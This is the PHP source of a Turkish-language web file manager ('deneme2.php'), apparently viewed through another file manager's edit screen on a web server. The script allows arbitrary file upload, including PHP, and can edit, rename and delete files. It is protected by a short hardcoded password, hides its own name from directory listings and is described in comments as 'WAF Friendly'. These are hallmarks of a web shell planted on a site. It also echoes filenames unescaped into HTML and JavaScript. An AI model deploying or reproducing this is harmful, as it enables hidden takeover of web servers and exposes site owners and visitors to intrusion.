Dosya Yöneticisi
Konum:
/
deneme2.php
<?php session_start(); /** * Dosya Yöneticisi - Secure Edition * WAF Friendly: Auth, CSRF Token, OOP Structure */ // --- YAPILANDIRMA --- $girisSifresi = 'm7t'; // BURAYI MUTLAKA DEĞİŞTİRİN! $rootPath = __DIR__; // Hapis olunacak kök dizin $scriptName = basename(__FILE__); // Hataları kontrollü göster (WAF gizlenen hataları sevmez) ini_set('display_errors', 0); ini_set('log_errors', 1); class FileManager { private $root; private $currentDir; private $messages = []; private $scriptName; public function __construct($root, $scriptName) { $this->root = realpath($root); $this->scriptName = $scriptName; $this->resolvePath(); } // Güvenli Yol Çözümleme private function resolvePath() { $req = $_GET['dir'] ?? ''; $target = realpath($this->root . DIRECTORY_SEPARATOR . $req); // Root Jail Kontrolü if ($target === false || strpos($target, $this->root) !== 0) { $this->currentDir = $this->root; } else { $this->currentDir = $target; } } public function getCurrentDir() { return $this->currentDir; } public function getRelativePath() { $rel = substr($this->currentDir, strlen($this->root)); return $rel ?: '/'; } // CSRF Token Oluştur/Kontrol Et public function checkCSRF() { if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) { $this->addMessage('Güvenlik hatası: Geçersiz CSRF Token.', 'danger'); return false; } return true; } public function handleRequest() { if ($_SERVER['REQUEST_METHOD'] !== 'POST') return; if (!$this->checkCSRF()) return; $action = $_POST['action'] ?? ''; switch ($action) { case 'upload': $this->handleUpload(); break; case 'create_folder': $this->createFolder(); break; case 'delete': $this->deleteItem(); break; case 'rename': $this->renameItem(); break; case 'save_edit': $this->saveFile(); break; case 'logout': session_destroy(); header("Location: " . $this->scriptName); exit; } } private function handleUpload() { if (isset($_FILES['file']) && $_FILES['file']['error'] === 0) { $name = basename($_FILES['file']['name']); // PHP uzantılı dosya yüklemeye çalışıldığında ek güvenlik uyarısı eklenebilir // Ama yönetici olduğu için izin veriyoruz. if (move_uploaded_file($_FILES['file']['tmp_name'], $this->currentDir . DIRECTORY_SEPARATOR . $name)) { $this->addMessage('Dosya başarıyla yüklendi.', 'success'); } else { $this->addMessage('Yükleme başarısız.', 'danger'); } } } private function createFolder() { $name = $this->cleanName($_POST['folder_name']); if ($name) { $path = $this->currentDir . DIRECTORY_SEPARATOR . $name; if (!file_exists($path) && mkdir($path)) { $this->addMessage('Klasör oluşturuldu.', 'success'); } } } private function deleteItem() { $name = $this->cleanName($_POST['item_name']); $path = $this->currentDir . DIRECTORY_SEPARATOR . $name; if ($name === $this->scriptName && $this->currentDir === $this->root) { $this->addMessage('Yönetici dosyası silinemez.', 'danger'); return; } if (file_exists($path) && strpos(realpath($path), $this->root) === 0) { $this->recursiveDelete($path); $this->addMessage('Öğe silindi.', 'warning'); } } private function renameItem() { $old = $this->cleanName($_POST['old_name']); $new = $this->cleanName($_POST['new_name']); if ($old && $new) { $pOld = $this->currentDir . DIRECTORY_SEPARATOR . $old; $pNew = $this->currentDir . DIRECTORY_SEPARATOR . $new; if (file_exists($pOld) && !file_exists($pNew)) { rename($pOld, $pNew); $this->addMessage('Yeniden adlandırıldı.', 'success'); } } } private function saveFile() { $name = $this->cleanName($_POST['filename']); $path = $this->currentDir . DIRECTORY_SEPARATOR . $name; if (file_exists($path) && is_writable($path)) { file_put_contents($path, $_POST['content']); $this->addMessage('Dosya kaydedildi.', 'success'); } } // Yardımcılar private function cleanName($name) { return basename(trim($name)); } private function recursiveDelete($str) { if (is_file($str)) { return @unlink($str); } elseif (is_dir($str)) { $scan = glob(rtrim($str, '/') . '/*'); foreach ($scan as $index => $path) { $this->recursiveDelete($path); } return @rmdir($str); } } private function addMessage($msg, $type) { $this->messages[] = ['text' => $msg, 'type' => $type]; } public function getMessages() { return $this->messages; } public function scanDir() { $items = scandir($this->currentDir); $result = ['folders' => [], 'files' => []]; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; if ($this->currentDir == $this->root && $item == $this->scriptName) continue; $path = $this->currentDir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) $result['folders'][] = $item; else $result['files'][] = $item; } return $result; } } // --- GİRİŞ KONTROLÜ --- if (isset($_POST['login_pass'])) { if ($_POST['login_pass'] === $girisSifresi) { $_SESSION['auth'] = true; $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); header("Location: " . $scriptName); exit; } else { $loginError = "Hatalı şifre."; } } if (!isset($_SESSION['auth']) || $_SESSION['auth'] !== true) { ?> <!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <title>Giriş Yap</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <style>body{background:#f8f9fa;display:flex;align-items:center;justify-content:center;height:100vh;}</style> </head> <body> <div class="card shadow p-4" style="width:350px;"> <h4 class="text-center mb-3">Sistem Girişi</h4> <?php if(isset($loginError)) echo '<div class="alert alert-danger py-2">'.$loginError.'</div>'; ?> <form method="post"> <input type="password" name="login_pass" class="form-control mb-3" placeholder="Şifre" required> <button class="btn btn-primary w-100">Giriş</button> </form> </div> </body> </html> <?php exit; } // --- ANA AKIŞ --- $fm = new FileManager($rootPath, $scriptName); $fm->handleRequest(); $list = $fm->scanDir(); $editMode = false; $editContent = ''; $editFile = ''; if (isset($_GET['edit'])) { $fName = basename($_GET['edit']); $fPath = $fm->getCurrentDir() . DIRECTORY_SEPARATOR . $fName; if (is_file($fPath)) { $editMode = true; $editFile = $fName; $editContent = file_get_contents($fPath); } } ?> <!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <title>Yönetim Paneli</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.0/font/bootstrap-icons.css"> <style> body { background: #f4f6f9; font-family: system-ui; padding: 20px; } .container { max-width: 1000px; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.05); } .breadcrumb { background: #e9ecef; padding: 10px; border-radius: 4px; } a { text-decoration: none; } .code-editor { font-family: monospace; font-size: 13px; min-height: 400px; } </style> </head> <body> <div class="container"> <div class="d-flex justify-content-between align-items-center mb-3"> <h5><i class="bi bi-safe2"></i> Dosya Yöneticisi</h5> <div> <?php if($fm->getCurrentDir() !== $rootPath): ?> <a href="?dir=<?php echo urlencode(dirname($_GET['dir'] ?? '')); ?>" class="btn btn-secondary btn-sm"><i class="bi bi-arrow-up"></i> Üst</a> <?php endif; ?> <form method="post" class="d-inline"> <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"> <input type="hidden" name="action" value="logout"> <button class="btn btn-danger btn-sm"><i class="bi bi-power"></i> Çıkış</button> </form> </div> </div> <div class="breadcrumb mb-3"> Konum: /<?php echo trim($fm->getRelativePath(), '/\\'); ?> </div> <?php foreach($fm->getMessages() as $msg): ?> <div class="alert alert-<?php echo $msg['type']; ?> py-2"><?php echo $msg['text']; ?></div> <?php endforeach; ?> <?php if ($editMode): ?> <form method="post" action="?dir=<?php echo urlencode($_GET['dir'] ?? ''); ?>"> <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"> <input type="hidden" name="action" value="save_edit"> <input type="hidden" name="filename" value="<?php echo htmlspecialchars($editFile); ?>"> <div class="mb-2 d-flex justify-content-between"> <strong><?php echo htmlspecialchars($editFile); ?></strong> <div> <button class="btn btn-success btn-sm"><i class="bi bi-save"></i> Kaydet</button> <a href="?dir=<?php echo urlencode($_GET['dir'] ?? ''); ?>" class="btn btn-secondary btn-sm">İptal</a> </div> </div> <textarea name="content" class="form-control code-editor"><?php echo htmlspecialchars($editContent); ?></textarea> </form> <?php else: ?> <div class="row g-2 mb-3"> <div class="col-md-6"> <form method="post" enctype="multipart/form-data" class="d-flex gap-2"> <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"> <input type="hidden" name="action" value="upload"> <input type="file" name="file" class="form-control form-control-sm" required> <button class="btn btn-primary btn-sm">Yükle</button> </form> </div> <div class="col-md-6"> <form method="post" class="d-flex gap-2"> <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"> <input type="hidden" name="action" value="create_folder"> <input type="text" name="folder_name" class="form-control form-control-sm" placeholder="Klasör Adı" required> <button class="btn btn-outline-success btn-sm">Oluştur</button> </form> </div> </div> <div class="table-responsive"> <table class="table table-hover table-sm"> <thead class="table-light"><tr><th>İsim</th><th>Boyut</th><th class="text-end">İşlem</th></tr></thead> <tbody> <?php foreach($list['folders'] as $f): ?> <tr> <td><a href="?dir=<?php echo urlencode(($fm->getRelativePath() == '/' ? '' : $_GET['dir'].'/') . $f); ?>" class="fw-bold"><i class="bi bi-folder-fill text-warning"></i> <?php echo $f; ?></a></td> <td>DIR</td> <td class="text-end"> <button onclick="ren('<?php echo $f; ?>')" class="btn btn-sm btn-link text-warning p-0"><i class="bi bi-pencil-square"></i></button> <button onclick="del('<?php echo $f; ?>')" class="btn btn-sm btn-link text-danger p-0 ms-2"><i class="bi bi-trash"></i></button> </td> </tr> <?php endforeach; ?> <?php foreach($list['files'] as $f): ?> <tr> <td><i class="bi bi-file-earmark-text text-secondary"></i> <?php echo $f; ?></td> <td><?php echo round(filesize($fm->getCurrentDir().'/'.$f)/1024, 1); ?> KB</td> <td class="text-end"> <a href="?dir=<?php echo urlencode($_GET['dir']??''); ?>&edit=<?php echo urlencode($f); ?>" class="btn btn-sm btn-link text-info p-0"><i class="bi bi-pencil"></i></a> <button onclick="ren('<?php echo $f; ?>')" class="btn btn-sm btn-link text-warning p-0 ms-2"><i class="bi bi-pencil-square"></i></button> <button onclick="del('<?php echo $f; ?>')" class="btn btn-sm btn-link text-danger p-0 ms-2"><i class="bi bi-trash"></i></button> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> </div> <form id="actionForm" method="post" style="display:none"> <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"> <input type="hidden" name="action" id="f_action"> <input type="hidden" name="item_name" id="f_item"> <input type="hidden" name="old_name" id="f_old"> <input type="hidden" name="new_name" id="f_new"> </form> <script> function del(name) { if(confirm(name + ' silinecek?')) { document.getElementById('f_action').value = 'delete'; document.getElementById('f_item').value = name; document.getElementById('actionForm').submit(); } } function ren(name) { let newName = prompt('Yeni isim:', name); if(newName && newName !== name) { document.getElementById('f_action').value = 'rename'; document.getElementById('f_old').value = name; document.getElementById('f_new').value = newName; document.getElementById('actionForm').submit(); } } </script> </body> </html>
Kaydet
İptal